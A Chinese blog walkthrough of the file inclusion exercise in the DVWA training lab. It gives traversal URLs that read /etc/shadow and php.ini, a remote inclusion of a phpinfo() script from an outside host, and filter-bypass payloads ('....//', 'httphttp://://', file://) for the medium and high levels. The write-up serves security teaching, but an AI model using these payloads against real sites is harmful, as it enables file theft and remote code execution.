zoukankan      html  css  js  c++  java
  • DVWA之文件包含(File inclusion)

    daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数

    include,require和include_once,require_once,,,,利用URL去动态包含文件,此时,如果没有文件的内容和来源进行过滤和判断,

    就会导致任意文件读取或者任意命令执行。

    文件包含漏洞可以分为本地文件包含和远程文件包含。

    远程文件包含漏洞需要开启服务器的allow_url_fopen选项。

    LOW

    1.本地文件包含 

    构造URL

    www.dvwa.com/vulnerabilities/fi/?page=/etc/shadow

    显示存在的文件,说明目标不是Linux操作系统。

     但是暴露了网站的绝对路径D:webdvwavulnerabilitiesfiindex.php的信息。

    构造一个读取绝对路径的URL

    www.dvwa.com/vulnerabilities/fi/?page=D:/web/deva/php.ini

    www.dvwa.com/vulnerabilities/fi/?page=../../../../../../../../../../../web/dvwa/php.ini

    2.利用该漏洞包含一个远程的PHP文件

    我在www.a.com的上传一个a.php

    <?php
        phpinfo();
    ?>

    我在目标网站包含这个远程的PHP文件

    www.dvwa.com/vulnerabilities/fi/?page=www.a.com/a.php

    目标网站成功执行了我们包含的PHP文件

    可以包含文本文件

    可以对链接进行伪装,转成RUL

    Medium

    在这个级别中,服务端使用str_replace对收到的参数进行了过滤操作。过滤了http,https,“../”,‘..’等字符

    1.本地文件包含可以绕过

    http://www.dvwa.com/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//....//web/dvwa/php.ini

     通过这种方式绕过过滤。

    2.远程文件包含

    http://www.dvwa.com/vulnerabilities/fi/?page=httphttp://://www.a.com/a.txt

     

    High

    在此级别中,服务对参数进行了筛选,要求参数必须是file开头的文件才会包含

    利用Windows的file协议进行包含

    http://www.dvwa.com/vulnerabilities/fi/?page=file:///../../../../../../../../../../../web/dvwa/php.ini

    impossible

    impossible级别对参数彻底进行了限制

  • 相关阅读:
    jquery load加载页面内ajax返回的div不能响应页面js的问题的解决方案
    JQuery跳出each循环的方法(包含数组遍历)
    fpm 配置详解
    curl模拟Http请求
    git 修改commit信息
    git-ssh 配置和使用
    初始化目录,并且添加到远程仓库
    【PHP代码审计】 那些年我们一起挖掘SQL注入
    【PHP代码审计】 那些年我们一起挖掘SQL注入
    【PHP代码审计】 那些年我们一起挖掘SQL注入
  • 原文地址:https://www.cnblogs.com/smallsima/p/8820317.html
Copyright © 2011-2022 走看看